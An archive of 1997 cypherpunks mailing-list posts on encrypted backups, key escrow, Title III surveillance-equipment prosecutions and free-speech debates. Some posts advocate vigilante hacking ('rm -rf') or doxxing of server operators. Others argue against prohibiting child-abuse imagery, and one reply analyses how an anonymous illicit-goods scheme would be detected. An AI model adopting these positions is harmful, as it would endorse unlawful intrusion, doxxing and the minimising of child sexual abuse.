Content-Type: text/plain



On Mon, 9 Jun 1997, se7en wrote:

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Why not simply trace them down to something close to their identity, and
when confirmed, simply email the newspaper website nearest them.  Why rm
-rf when you can get whatever ID information from the very same hard
drive?  I think this would be a proper, proportional response since the
authorities will do more damage since it won't involve just the computer. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 11 Jun 1997 03:34:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
write the following bad advice:

> If you have data you wish to guard from disclosure I think that in
> most circumstances you want to back up ciphertext.  It is a *lot*
> cheaper to secure a piece of paper with a passphrase on it (in a safe
> deposit box, for example) than it is guard a gigabyte of backup tapes. 

BBBBZZZZZZZZZT!  Wrong!

Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
cassette. Fairly easy to guard, but, if your data is backed up in
encrypted form (cyphertext), and not clear text, you don't even need to
bother protecting the tape. (That is unless your backup software uses a
weak cypher as most tend to do.)  [FYI: Your knowledge of tape
technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb. 
Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
audio cassettes) hold as much as 40Gb in a very small form factor.]

Or if you are afraid of loss to EMI and such, backup to MO media, or to
CDR media.  You can get 4Gb MO's these days fairly cheap, and since
they're just like hard drives you don't need to use backup software.
They're impervious to accidental wiping by magnetic waves, and they're
rewriteable, which means you don't have to pay much money to do new
backups.  OTOH, they are rewriteable, you might want to burn CD's, which
only store 650M, but two of them will easily store 1.2Gb, and prevent
loss by erasure.  At less than $6 in bulk this is very cheap.  You sti.l
have to protect the media from heat, direct sunlight, dust, scratches,
liquids, etc...

The best way to go is to have an encrypted volume, unmount the volume
before backing it up, and backup the sectors on the volume instead of
individual files.  To be safe, I'd run several backups since if the tape
goes bad on a spot that holds inodes, you've lost several directories...

But you can leave the tapes unprotected in clear view of the world. 
They're useless to those that don't have the passphrase.  Hence it costs
you $0.0 to secure tapes that hold strongly encrypted information.  It
costs a lot more to protect that said piece of paper.  (I would still
advocate keeping a set of tapes offsite in case of fire or other local
physical disaster - but the security risk of keeping them unsecured is
still zero if you are using a good hard drive encryptor that uses strong
crypto.)  If you are paranoid, you could encrypt your backup with a
different cypher.  (i.e. use IDEA on the hard drive, then backup and
encrypt the encrypted drive with 3DES and Blowfish, all using different
passphrases.)

Yes, you can write your passphrase on paper, but if someone finds it you
are screwed.  Giving such advice is dangerous.  It is as if you told
someone to put a PostIt(tm) note with their account and password on their
monitor, or to use their birthday as their password, or their dog's name.
Paper is very easily compromised.  Weak passwords and passphrases are also
easily compromised.

If you want to protect your passphrase agaist memory failures (human
memory that is), break it up with a secure split function, and save it to
disk (or print it out in hex), then give a piece to each of several
trusted parties - who do not know each other. Something along the lines of
a K of N system where you'd need 5 pieces out of 8 to restore the
passphrase.  

Oh, and those trusted parties should not be government agencies for the
simple reason of how beurocracies work. One could be a safety deposit box,
another could be a family lawyer (but make sure it's not a big agency),
another a cousin in a differnet city, another a neighbor, etc...  

(I.E. I wouldn't leave anything with the CIA - see the news headlines for
all the reports of double agents bought off by the Russians, etc... though
it is more likely that the NSA would be safer place to store, either
because it has better controls on the data, or more likely because reports
of double agents there never reached the media...)  Still I wouldn't go
that route, though you personally might.  In general, you don't want to
leave them in the hands of corporations/agencies where folks getting paid
$5.50/hour can be easily bribed, or leaned on, or rubberhose persuaded, or
sold to the "If you knew what I knew" and "I'm from your government and
here to help you" lines.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 11 Jun 1997 03:56:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <97Jun10.153453edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Lucky Green wrote:

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?
> 
> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

This assumes that supplying the craving for pictures will not increase the
desire to do acts in the real world enough to increase the number of acts

C.S. Lewis once described society as a convoy - and that there was little
disagreement about ships not running into each other.  But he also made
the point that it may be proper to require ships to be seaworthy so they
won't run a risk of running into other ships because they cannot avoid it.

Looking at synthetic child porn may be purely a thought crime, but it
involves breaking a lot of societal taboos.  If someone does not have the
self-restraint to not look at mere pictures, will they have the restraint
to avoid comitting actual crimes?  Pornography is not like reading Rosseau
or Locke since rational enlightenment is not the goal.

Logic != Emotion

But what happens when we deal with individuals who are entirely driven by
emotions, and by the basest emotions possible?

Although you can argue that people may be able to look without touching,
the reason they are looking in the first place involves a release of the
beast within.  How many such people are we willing to trust to keep that
beast on the chain.  The law is currently structured to answer "none" to
this question, and this may be the proper answer.

With guns and explosives, there is greater likelyhood that someone will
injure themselves or their own property on a destructive binge.  This type
of expression is more benign, though I don't think it represents the
better angels of our nature.  But I see no threat to me personally from
such people.

Similarly with most drugs - if the dealers could use the courts to settle
problems like stolen merchandise there would be less violence.  I might
demand someone go to a secure area before taking a drug which will deprive
them of their reason, and not be let out until it is recovered.

But I would not want to have someone leave the two components to a binary
nerve gas on a shelf, with the owner's promise that they will never fall
off and accidentally mix, or believe that the owner will never get angry
and decide to destroy something.  Something intrinsically capable of mass
destruction is also something that can be regulated.

Something that is in and of itself a turning away from reason and giving
in to emotion, and the ultimate destination of that path if it is followed
will result in injury to others, especially innocents, is something that
should be regulated.

This form of "information" is an addictive drug, with the side effect is
that it destroys others much more than it destroys the abuser, and it
doesn't wear off after a drying out period.  (Or could I suggest that they
could watch as much as they want in a secure area, but could not get out
unless they were chemically castrated?)

This does not mean that I am any less a civil-cyber-libertarian, since I
have even more problems with current enforcement of most laws.  That is a
different issue.  I am saying that it should be illegal, not how such laws
should be enforced, and not that we should shred the constitution in
pursuit of these people.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 11 Jun 1997 04:02:36 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997 (fwd)
Message-ID: <Pine.SUN.3.96.970610153852.9093I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Vewy vewy intwestwing stuff....  (forwarded from the security list.)  Note
the "major threat to LEA's" in particular...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 10:16:51 -0400
From: SpyKing <SpyKing@thecodex.com>
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997

******************************************************************************
Vol.Two Issue #133           The Surveillance List            June 10,1997        
                        Over 2100+ Members Worldwide
                     Representing 46 different countries
                List Chat at: http://www.thecodex.com/chat.html
                             ***SPECIAL ISSUE***
******************************************************************************
IN THIS ISSUE...
******************************************************************************

01) Important Issue Concerning ALL in the Surveillance Business... 
  
 
******************************************************************************
DON'T BE A LURKER.... GET INVOLVED... YOU ARE A MEMBER... MAKE THE MOST OF IT
******************************************************************************
1)From: SpyKing@thecodex.com
Subject: Important Issue Concerning ALL in the Surveillance Business...

I received this post from Gilbert Walz and thought it of immense importance to the list. He's asked me to post and I am complying... Read this carefully as it could affect all... If you agree that something needs to be done I urge you to contact you congressman and let them know about this situation...

>>>>
From: GilbertWa@aol.com
Date: Sun, 18 May 1997 01:56:48 -0400 (EDT)
To: SpyKing@thecodex.com
Subject: US CUSTOMS BUST

Greetings,
My partner Jude Daggett was recently arrested by US Customs in a sting set up
by Bill Fischer of E.C.I. Calgary Canada,for allegedly selling a chip that
enabled a panasonic cell phone to receive 800-900 mhz.Mr. Fischer  was
apparently set up as well by Cellular Tecnology , a company that sell's the
CT-1000 a Hand Held cell test piece.
There is much more to the story,including an upcoming trial in San Jose Ca,
for violations of section 2512, I am the defendant in this case.
If you are interested in more detail please page me@ 415-979-7353.

Regards,

Gilbert Walz

<<<<

From: GilbertWa@aol.com
Subject: Section 2512

FYI

MAJOR THREAT TO STATE AND LOCAL LAW ENFORCEMENT CAPABILITIES

State and local law enforcement bodies have begun to find it difficult to procure the latest in Title III equipment, i.e. equipment "...primarily useful for the surreptitious interception of ... communication".  Unless action is taken at the highest levels of the federal government, there is no question that serious harm will be done to the abilities of state and local law enforcement to properly perform technical surveillance.

This is an extremely serious matter, and I urge you to take the time to
study this information.  Law enforcement's ability to properly perform its
duties faces a serious and a real threat, and correcting the situation will
not be easy, but it is something that MUST be done.

We're in this sorry state for two real reasons and one possible reason, viz:

Real Reason #1.  The federal law that deals with monitoring that which has
been transmitted by radio is irrational, poorly written, unthinkably
stupid, incomplete, technically impossible to enforce, vague where it
should be specific, specific where it covers unenforceable prohibitions,
and primarily of value to vendors of cordless and cellular telephones
(because they can lie to their potential customers telling them: "nobody
can listen to you; it's against the law).

Real Reason #2.  Some federal government entities have chosen to reinterpret elements of a law enacted almost thirty years ago (and amended many times since then).

Possible Reason.  There is great suspicion that some privileged companies
are steering some of the federal government's minions toward small
companies in order to remove possible competition from the marketplace --
in other words it is possible that the law is being selectively enforced
for the benefit of some firms.  Professionals who know their way around in
this arena are aware of some targeting that had been orchestrated by
entities that, although they deal in a big way with Title III equipment,
have remained unaffected by the federal government elements that have
suddenly developed real zeal to punish those who they say sell Title III
equipment.

Background.  During the past TWENTY-NINE YEARS (since passage of Public Law
90-351, "The Safe Streets Act of 1968"), law enforcement at all levels in
this country has benefited because of a reasonable interpretation of the
elements of that law.  That has now all changed.  To allow you to
understand the situation we must first cover the specifics of the law, and
the way it has been interpreted over the years.

First, the prohibitions.  The law proscribes the use, possession and
even advertising of equipment "knowing or having reason to know that the
design of such device renders it primarily useful for the surreptitious
interception of ... communication".  Obviously there are categories of
people who are exempted from these prohibitions - such as the very law
enforcement people who would use it in investigations.  However, one of
those exemptions is now being reinterpreted.

I refer specifically to the interpretation of the exception relating to
"...an officer, agent, or employee of, or a person under contract with, the
United States, a State, or a political subdivision thereof..."  For almost
thirty years that phrase has been interpreted that honest businessmen
(manufacturers or dealers) who sold Title III equipment only to law
enforcement agencies were "agents under contract to...".  Small business
entrepreneurs and their dealers have, since passage of the PL 90-351,
operated under the belief that, if their customers were federal, state or
local law enforcement organizations, they were operating legally when they
designed, built and sold such equipment (or marketed it as agents of the
builder). 

Never having had any notice by any government body that a specific item
could be considered "Title III", sellers felt no compunction to refrain
from advertising and no concern about selling to non-law enforcement (except for obvious Title III items such as body wires).  This dogma has been reinforced and solidified by almost thirty years of practice.
   
Before covering the 1996/7 reinterpretation of this law, let's review
some recent events.

Enforcement History.  In 1991 or 1992 several businesses received a
certified letter from the FCC that began "It has come to our attention that
you are marketing..." and went on to accuse all of us of various felonies.
My written request to be told the specific product and the specific accuser
is to this day still unanswered.  However, one man, whose letter was
ignored and whose FOIA inquiry was ignored, finally inquired through his
congressman.  He was then informed that his FOIA action was sent to the
wrong address (!), and that the FCC accusations were based on "anonymous
telephone tips".  Yeah, Right.  (Those of us who are knowledgeable of the
players have a good idea of how those "anonymous" tips were received; we
remember seeing the guy who was siccing his FCC toady on various exhibitors
at more than one trade show.  Ah well.)
   
Then about two years ago a bunch of stores with "spy" in their names
were raided by the Customs Department for importing and selling forbidden
radio transmitting equipment.  (Personal comment: Good riddance; they were
mostly rip-off artists preying on people who wanted to spy on others.)
   
However, the serious reinterpretation that is tying up resources started
last year.  In 1996 and 1997 there has been a lot of activity based on 1)
lawyers pretending to be all-knowing technical experts and 2) a
reinterpretation of the exception clause quoted above. 

Current Status.  To the best of my knowledge, the first activity in this
"reinterpreting" arena was the indictment of Gilbert Walz and Jude Daggett
by US Attorney Michael J. Yamaguchi in the US District Court of Northern
California.  The indictment accuses them of selling devices "whose [sic]
design renders them primarily useful for the purpose of the surreptitious
interception of wire, oral and electronic communications".  (The paper I
have in front of me is called "SUPERSEDING INDICTMENT" and is dated May 2,
1996.)

There is no reference in this indictment - or in any of the other
government papers I have - to the expert on whose opinion these indictments
are based.  Therefore, I have the terrible suspicion that Michael J.
Yamaguchi took it upon himself to make the kind of determination that can
only be made by a technical expert with education and experience in the field.
   
Both Walz and Daggett have been "out on bail" until the very recent
past.  Then, within the past few months,   it appears that various players
in this arena have been pressured to "set up" those gentlemen.

Walz took a telephone order for a piece of equipment, ordered it shipped
from Canada, and was arrested when it arrived in the hands of the man who
ordered it.  He never saw it, never touched it, never got paid one cent,
but was arrested and jailed for about one month before bail was set at one
hundred thousand dollars.  (By the way the man who ordered the equipment
and who received it, is still free as a bird.)  

Daggett also was arrested (after also apparently being set up) and
jailed, but released after a week or two on personal recognizance.
   
I think it is important to note that these men have been selling these
items for years, and had asked one government official after another if
there was any question as to their legality.  The only answers they
received were non-committal.

Deleterious Results from These Actions.  These (and possibly other) actions
by various entities at the federal level have caused the "unarrested"
members of this community to pull in their horns.  They will no longer even
admit to possessing equipment that might be capriciously classified as
Title III.
   
The net result, unless some sensible order is created from this miasmic
mess, will be a set back for state and local LE bodies of five to ten years
in procurement of Title III equipment.  I say that because some of the
federal people involved have stated that "only people under contract to the
federal government" are covered by the exception noted above.  Even if that
is softened to the state and local governments as specified in the law, any
law enforcement agency that needs Title III equipment will  have to totally
technically specify its needs in a request for proposal, distribute the RFP
to a list (Where does it come from?) of competent firms, take proposals,
evaluate proposals, award contracts, evaluate products delivered; and
finally, years after the need was recognized, receive the product.

MY PERSONAL INVOLVEMENT

Last month, while Jude Daggett was locked up in jail, his partner
Gilbert Walz called and asked for my help in getting him out.  Jude called
also, and I agreed to do what I could.  The letter I sent to Jude's lawyer
follows.   

Dear *******,

I am writing this on behalf of Jude Daggett, an honest man and a good
friend of more than ten years.  However, the opinions I express are not
generated by that friendship; they are based on my education and experience
and are totally consistent with my stated positions, writings and testimony
over the years.  Let me introduce myself and briefly list my qualifications
to comment on this case and the law under which it was brought.  

I am an electrical engineer with almost fifty years of professional
experience in communications and electronics.  (A short resume follows.)  I
have been called as an expert witness in federal and state courts in civil
and criminal cases relating to electronic communication, eavesdropping,
etc.   The Office of Technology Assessment of the United States Congress
contracted with me to study and report on the vulnerability of our
telephone system to secret monitoring.  I believe I am the only engineer
ever to provide an expert opinion in federal court on the meaning of
"...knowing or having reason to know the design of which renders it
primarily useful for the surreptitious interception of ... communications"
as it relates to a specific item of electronic equipment. 

The law that applies originated as the Safe Streets Act of 1968, PL
90-351.  The specifics relating to "primarily useful for" were printed
under the heading "Title III" in that law, and that equipment has come to
be known as Title III equipment by those in this field.  90-351 and its
later versions were attempts to codify questions relating to monitoring the
communications of others, but all are flawed in many, many ways - primarily
due to the influence of lobbyists for the cellular telephone industry and
cordless telephone manufacturers.  They wanted to be able to tell their
customers "No one can listen; it's against the law."  

In truth, despite any laws that can be written, that which has been
transmitted by radio, can and will, be listened to.  That is as immutable
as water running down hill.  Common, ordinary and essential electronic
parts and systems, useful for many other purposes, can be used to monitor
radio transmissions; and no series of laws or regulations can change that
verity.  There will always be people who will listen, regardless of any
laws on the books or lies told to potential customers.

People who choose to broadcast their thoughts by radio should not be lied
to; they should be cautioned that every word can be heard by others.  In
fact, the United States Supreme Court, in an eminently fair and reasonable
ruling, said that the man who had been imprisoned based on material his
neighbors heard him say over his cordless phone had "no reasonable
expectation of privacy".   The court ruled that no one invaded his privacy,
but, rather, that the signal received by his neighbors' cordless phone had
been transmitted by his deliberate act, and the content of his messages was
in no way privileged.

Radio transmissions are radio transmissions, and although cellular
transmissions are on different frequencies and handled differently than
cordless, they are still transmissions that can be received by anyone.
I'll opine that, when the law regarding cellular is tested at the supreme
court level, the ruling on the validity of the law will be the same as it
was in the cordless phone case.
	
So, I present the idea above as something that could be called a "global
defense" of Mr. Daggett and anyone else caught in the net that has recently
been cast.  However, let's consider the specifics of Mr. Daggett's case.
	
With regard to the specific case at hand I believe the most important
consideration is the legislative history of the federal law in question.
Although I do not have a copy in front of me as I write this, the essence
of the legislative history that applies is:  "...Because this is such a
specialized field, it's obvious that the services of an expert will be
required in considering whether the design of a device renders it primarily
useful for surreptitious interception of communication."  

I have read the documentation on this case, and I am appalled at the fact
that technical laymen with no education or experience in this specialized
field have bluntly stated as a fact that the devices under consideration
are primarily useful for surreptitious interception of communication.  In
my opinion such statements are a travesty.  As a man with an education and
a lifetime of experience in the field, if I were asked that question, my
answer would be that I would have to:

have possession of each device for some time so I could operate it and compare it with other, technical equipment with similar capabilities, 
	   
evaluate the cost vs. benefit of each possible equipment for the many
possible uses, (to explain, let's consider the monitoring equipment that
could be used on fax transmissions: There is a two-channel fax monitoring
system from Denmark that costs $60,000 and has the capability of
recognizing the formats used by all fax manufacturers.  Also, it is
possible to use a $30 tape recorder and $150 fax machine to reproduce faxes
transmitted by a machine of the same make.   With no other information to
influence my opinion, I would conclude that the person trying to collect
information illegally on someone else would opt for the inexpensive
approach; and that the company that needs to monitor communication between
the headquarters and divisions located in countries all over the world
would use the expensive system so as to be sure it can decipher all
messages from all machines.)

discuss uses with others who have had experience with the equipment for various functions; and finally, spend time to allow my brain to reach a logical conclusion.

>From my point of view it is unconscionable to have a man jailed based on
the unsupported technical conclusions of laymen - laymen with no education
or experience in even basic design of electronic communication equipment
much less the kind of specialized electronic communication equipment
referred to in this case.
	
Based on what I have learned about this case, I believe this was a setup,
designed to result in the arrest of Mr. Daggett.  There was absolutely no
intent or effort on his part to violate any law; in fact, material I have
in hand indicates that he and his partner had frequently asked law
enforcement people and even a US Attorney to tell them if any of their
equipment fell into the Title III category (primarily useful for...), and
were always answered ambiguously.  Mr. Daggett was the target, and men who
were being pressured to do so by law enforcement authorities arranged to
meet him in a place that had been prewired so as to videotape the whole
activity while they pressured him into assembling the equipment and turning
it on - while not a word was spoken about any illegal use of the equipment.
	
Perfectly legal equipment can be used illegally.  An ordinary hammer can
be used to kill someone, but that doesn't mean it is primarily useful for
killing a person.  The bayonet I was issued in WWII, on the other hand, is
designed for just that purpose and no other.  In this case, serious
consideration should be given to the "primarily useful for" clause.  Is
someone interested in illegally eavesdropping on cellular conversations
going to buy  a $100 scanner or an instrument designed to fight cellular
toll fraud that costs thousands of dollars?

I have no idea whether the following thoughts are material, but I present
them because, as a legal layman, I regularly wonder about the uneven
application of some criminal laws.  For instance, while Jude Daggett is in
jail for possibly having sold a Title III piece of equipment:
	  
the Martins (who said they had monitored and recorded Newt's conference
call that Rep Boehner was on with his cellular) were fined $500 each for
the deliberate illegal recording and distribution of a cellular phone
conversation.  Where's the justice?
	   
Westinghouse (and a raft of other companies) advertise Title III
equipment regularly and continuously.  In that such advertising is also
proscribed by 18 USC 2512, I wonder how they get away with it.  Does our
federal law enforcement shy away from the bigger companies because they
have bigger budgets to defend themselves with?  Where's the justice?
	
Finally, let me go back to my original comments about this law.  It is so
ambiguous as to be farcical.  Examples:
	   
It uses the word "intercept" incorrectly so it has to contain a special
definition of it.  
	   
It refers to "audio subcarrier" a complete nonsensical combination of
words - audio is sound, a longitudinal wave and subcarrier must be RF, a
transverse wave.  
	   
It could even be interpreted in some circumstances to mean it is a
federal crime to "intentionally" listen to Muzak while on an elevator or on
hold on the telephone.

POST SCRIPT

Additional Considerations.  Since writing the letter above, I have
continued thinking about that silly law.  Sure, the legislators will tell
you they passed it to protect our privacy.  That's hogwash.  If they were
honest, they would have listened to Bob Grove when he was invited to
testify.  Instead they pilloried him, accusing him of all kinds of nasty
things.
   
Had they listened to him, or to anyone with education and experience in
this field, they would have heard that the law is unenforceable.  That
which has been broadcast  by radio will be monitored by parties other than
the intended receiver.  Unless encryption or some modern modulation
techniques are used, every broadcast can be monitored - despite the lies of
the sellers.

Two more possible lines for the defendants to take:

#1.  I am an expert and allowed, therefor, to offer an opinion in court
testimony.  However, when I have offered an opinion, I have buttressed it
with arguments and even demonstrations.  I doubt the lawyers who have
expressed opinions as facts have done, or even can do, the same.  There is
nothing in their writings other than unsupported conclusions.

2.  I think a careful evaluation of the words in the law and the
legislative history might lead to the conclusion that the " communication"
referred to by the law writers is solely communication between humans.  If
that's so, the operation of the specific item should be carefully examined.

For instance, the cellular monitoring systems print out tons of
communication between the CMTs and the MTSOs (cellular mobile telephones
and mobile telephone switching offices).  Line after line on the printout
specifies the status of all active CMTs in its area, and the details of
what number called what number, etc. etc.  If these things primarily
monitor machine communications, can they be called "primarily useful for
surreptitious interception of {human} communications?

TWO POSSIBLE SOLUTIONS

#1.  The congress could pass a new law - one based on inputs from people
who know what they're talking about and have the interests of our citizens
in mind.  (The elements of this law that cover monitoring [the law calls it
"intercepting"] of radio broadcasts is not necessary.  47 USC 705 has
served us well for many years, and makes sense.)  

#2.  As long as the stupid law stays on the books, the federal government
should establish a qualified, non-government body of experts to rule on
what is and what is not a Title III device or system. This would allow
manufacturers and dealers to know who they can sell to.

James A. Ross


+++Moderator's Note+++

I agree with Ross. The law IS unclear and can result in select prosecution of anyone who manufactures Title III equipment OR ANY TYPE of communication equipment that could POSSIBLY be used for interception...

Several years ago I asked a personal friend who was the BOSS of a "three Letter agency" (Federal) in New York City for clarification of TITLE III because I had developed a new surveillance device and wanted to manufacture and sell...

My friend told me (after checking with Justice Department Legal Counsel) that there was "no license" which would "hold harmless" a "surveillance device" manufacturer or distributor. That they operated at the discretion of the government and could be indicted at any time... He advised me (as a friend) against developing the new device since I could be indicted for simply offering it for sale to "bona fide" law enforcement agencies...

The fact of the matter is "certain" companies that are on the "in" thrive while circulating "false" data about competition and "dropping dimes" to the feds to cause competitors "problems"...

Ma Bell should also be indicted as well as MANY other companies for "manufacturing" devices which allow the "interception" of communications...

See how stupid this gets?...

This type of case affects us ALL... I hope the list will support Daggett and Walz and let there Congressman know about this farce... 

**************************************************************************

[Security List info deleted.  ]

***************************************************************************
The Codex Surveillance & Privacy News - http://www.thecodex.com
Moderator of "The Surveillance List"... http://www.thecodex.com/list.html
The Nets FIRST & ONLY list dedicated to Surveillance Technology...
"We don't spy on you... but we DO keep an eye on those that do..."
***************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 11 Jun 1997 04:13:26 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100422.XAA03115@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970610155449.9093K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Igor Chudov @ home wrote:

> I do not see how I can be detected, modulo the security of anonymous
> remailers. Since my reputation will be based on PGP authentication, I
> will have an incentive not to cheat.

Three weaknesses in your scheme come to mind:

The bank could turn you in if you cash in the digicash (i.e. sting
operation would be to track a certain piece of digicash). So you'd have to
pass it on to others and not spend it.  

Failing that, the LEA's would then try to blast your reputation by saying
they are Joe Dimebag and that they sent you money, but you ripped them
off.  They do this enogh times, your rep goes down the tubes and everyone
will fear sending you e$.  If not the LEA's then your competitors, etc.

Third hack into your scheme: someone with loads of digicash and loads of
time (LEA, who else?) could buy lots and lots from you.  Eventually a
physical pattern would show itself in your drop boxes.  If you ever reuse
a drop location, you could easily be nabbed.


As long as the goods you deliver are physical, the above are huge factors
and make it not worth your while to do.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Wed, 11 Jun 1997 05:22:39 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <Bill Stewart's message of Mon, 09 Jun 1997 00:09:38 -0700>
Message-ID: <t534tb6f9w4.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

>> An interesting perspective, but I don't know that it works.
>> For this to make sense, either the business needs to have access to
>> the stored received email if the user gets run over by a police car,
>> or else the business needs to know that it doesn't _need_ access -
>> either because the mail isn't business related, or because the
>> business-related parts have been transferred to other systems
>> using a convenient user interface.

It is impossible to know if a given email is business related or not
automatically.  Probably the best idea is to have my business email
key escrowed (by my MIS department, not uncle sam!), but to have my
personal email key not escrowed.  Probably, I want to use two
completely different email addresses.  This does require that the
sender use the correct address and key when sending me personal email.

I do believe that there is a case for private key escrow here.  Some
of you will say that the sender should just encrypt the message to me
and to the MIS message-escrow key.  This is ok, too, but it still
requires that the sender remember to do this for business email and
not for personal email, so you've just changed the nature of the
burden slightly, not removed it.

>> >The *only* reason to escrow communications keys is to spy on people;
>> >there is never an opportunity for data loss here.
>>
>> Yeah!  (Actually, the other reason to escrow them is because
>> you're using the same keys for communication and storage,

This sort of thing is where we as cryptographic engineers need to keep
on our toes.  If we never use the same key for communications and
storage encryption, this issue never comes up.

>> of storage keys, but that's only the case if you're not using
>> a sufficiently flexible cryptosystem and are using key backup
>> instead of data backup, which is really the preferred approach anyway.)

Key backup is far more practical than data backup in a large
environment.

ObCryptoIdea: a backup system which lets me set a public key
associated with my directory/disk/whatever.  The backup system will
encrypt the backup in a symmetric key encrypted by this public key.
If a restore is needed, the backup system and I engage in a dialog to
disclose the relevant symmetric key.  For mission-critical data, the
public key must come with a certificate indicating that the private
key has been escrowed, so that if I get hit by a truck, the data can
be recovered.  For personal data, I keep the private key to myself.
This means that I can have the safety of knowing my data is being
backed up, but I never have to worry about archives of my data coming
back to haunt me (unless the company/school/ISP is malicious and keeps
it's own records of the symmetric keys, but then I'm screwed in any
case).

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 08:32:29 +0800
To: tzeruch@ceddec.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <v03102800afc399044c85@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I call bullshit on this whole line of reasoning!

All prohibition of speech should be based on the judgement of whether or
not specific individiuals (not general groups or socienty at large) can be
reasonably be deduced to be at immediate risk or be harmed from that speech.

>Looking at synthetic child porn may be purely a thought crime, but it
>involves breaking a lot of societal taboos.  If someone does not have the
>self-restraint to not look at mere pictures, will they have the restraint
>to avoid comitting actual crimes?  Pornography is not like reading Rosseau
>or Locke since rational enlightenment is not the goal.
>
>Logic != Emotion
>
>But what happens when we deal with individuals who are entirely driven by
>emotions, and by the basest emotions possible?

I find lust to be a noble urge.

What happens when you sell high-power autos to immature consumers which can
only be used as promoted by traveling at speeds well in excess of safe?

>
>Although you can argue that people may be able to look without touching,
>the reason they are looking in the first place involves a release of the
>beast within.  How many such people are we willing to trust to keep that
>beast on the chain.  The law is currently structured to answer "none" to
>this question, and this may be the proper answer.

Following this line of reasoning, isn't it appropriate that any
attractive/exciting experience which gets the adreneline pumping (with the
possibility for abuse and injury to third-parties) be regulated?

>
>With guns and explosives, there is greater likelyhood that someone will
>injure themselves or their own property on a destructive binge.  This type
>of expression is more benign, though I don't think it represents the
>better angels of our nature.  But I see no threat to me personally from
>such people.

I think some families in Oklahoma City may disagree.

>
>Similarly with most drugs...
>
>But I would not want to have someone leave the two components to a binary
>nerve gas on a shelf...

Now you've transgressed from speech to possession.

>
>Something that is in and of itself a turning away from reason and giving
>in to emotion, and the ultimate destination of that path if it is followed
>will result in injury to others, especially innocents, is something that
>should be regulated.

Regulated or banned?  I find war to be the best such example, but we still
have massive armies and a military-industrial complex don't we?

>
>This form of "information" is an addictive drug, with the side effect is
>that it destroys others much more than it destroys the abuser,

Can you back up this assertion with clinical data?

>
>This does not mean that I am any less a civil-cyber-libertarian..

I believe it means you are a wanna-be Libertarian.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
